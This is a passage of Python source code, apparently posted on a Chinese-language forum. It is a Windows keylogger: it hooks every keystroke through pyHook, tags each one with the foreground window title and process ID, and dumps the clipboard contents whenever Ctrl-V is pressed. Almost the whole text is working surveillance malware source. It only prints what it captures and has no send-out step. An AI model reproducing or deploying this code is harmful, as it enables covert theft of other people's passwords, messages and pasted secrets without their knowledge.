# now read it's title
window_title = create_string_buffer(b'\x00' * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# print out the header if we're in the right process
print()
print("[ PID: %s - %s - %s ]" % (process_id,
executable.value,
window_title.value)
)
print()
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end=' ')
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("[PASTE] - %s" % pasted_value, end=' ')
else:
print("[%s]" % event.Key, end=' ')
# pass execution to next hook registered
return True
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()
使用道具 举报